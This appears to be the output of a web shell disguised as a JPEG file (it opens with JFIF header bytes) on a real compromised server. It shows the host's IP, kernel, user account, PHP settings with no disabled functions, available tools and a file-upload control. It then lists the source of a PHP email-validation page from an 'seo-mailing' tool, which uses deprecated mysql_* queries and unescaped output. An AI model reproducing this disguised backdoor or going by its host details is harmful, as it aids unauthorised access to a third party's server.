ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/fermegarat.com/seo-mailing/tools/ |
Upload File : |
<script type="text/javascript">
function showUser(str)
{
document.getElementById("txtHint").innerHTML="";
document.getElementById("txtHint2").innerHTML="";
if (str=="")
{
document.getElementById("txtHint").innerHTML="";
return;
}
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","tools/getuser.php?q="+str,true);
xmlhttp.send();
}
function showMx(str)
{
document.getElementById("txtHint").innerHTML="";
document.getElementById("txtHint2").innerHTML="";
if (str=="")
{
document.getElementById("txtHint2").innerHTML="";
return;
}
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("txtHint2").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","tools/getmx.php?q="+str,true);
xmlhttp.send();
}
</script>
<div class="alert alert-info">
Current section will be improved
</div>
<ul class="nav nav-tabs" id="myTab">
<li class="active"><a href="#validation">Validation</a></li>
<li><a href="#mx">MX server</a></li>
</ul>
<div class="tab-content">
<div class="tab-pane active" id="validation">
<form action="" method="post" class="form-horizontal">
<input type="hidden" name="tab" value="validation">
<div class="control-group">
<div class="controls">
<select name="group" onchange="showUser(this.value)">
<option value="0"></option>
<?php $result = mysql_query("SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id_user = {$_SESSION['id']} ORDER by name ");
if(mysql_num_rows($result)>0){
while($group = mysql_fetch_array($result, MYSQL_ASSOC)){ ?>
<option value="<?php echo $group['id']?>" <?php if(isset($user['id_cat']) && $user['id_cat'] == $group['id']){?> selected<?php }?>><?php echo $group['name']?></option>
<?php } }?>
</select>
</div>
</div>
</form>
</div>
<div class="tab-pane" id="mx">
<form action="" method="post" class="form-horizontal">
<input type="hidden" name="tab" value="mx">
<div class="control-group">
<div class="controls">
<select name="group" onchange="showMx(this.value)">
<option value="0"></option>
<?php $result = mysql_query("SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id_user = {$_SESSION['id']} ORDER by name ");
if(mysql_num_rows($result) > 0){
while($group = mysql_fetch_array($result, MYSQL_ASSOC)){ ?>
<option value="<?php echo $group['id']?>" <?php if(isset($user['id_cat']) && $user['id_cat'] == $group['id']){?> selected<?php }?>><?php echo $group['name']?></option>
<?php } } ?>
</select>
</div>
</div>
</form>
</div>
</div>
<div id="txtHint"></div>
<div id="txtHint2"></div>
<script>
$(function () {
$('#myTab a').click(function (e) {
document.getElementById("txtHint").innerHTML="";
document.getElementById("txtHint2").innerHTML="";
e.preventDefault();
$("#mx").tab('show');
})
})
</script>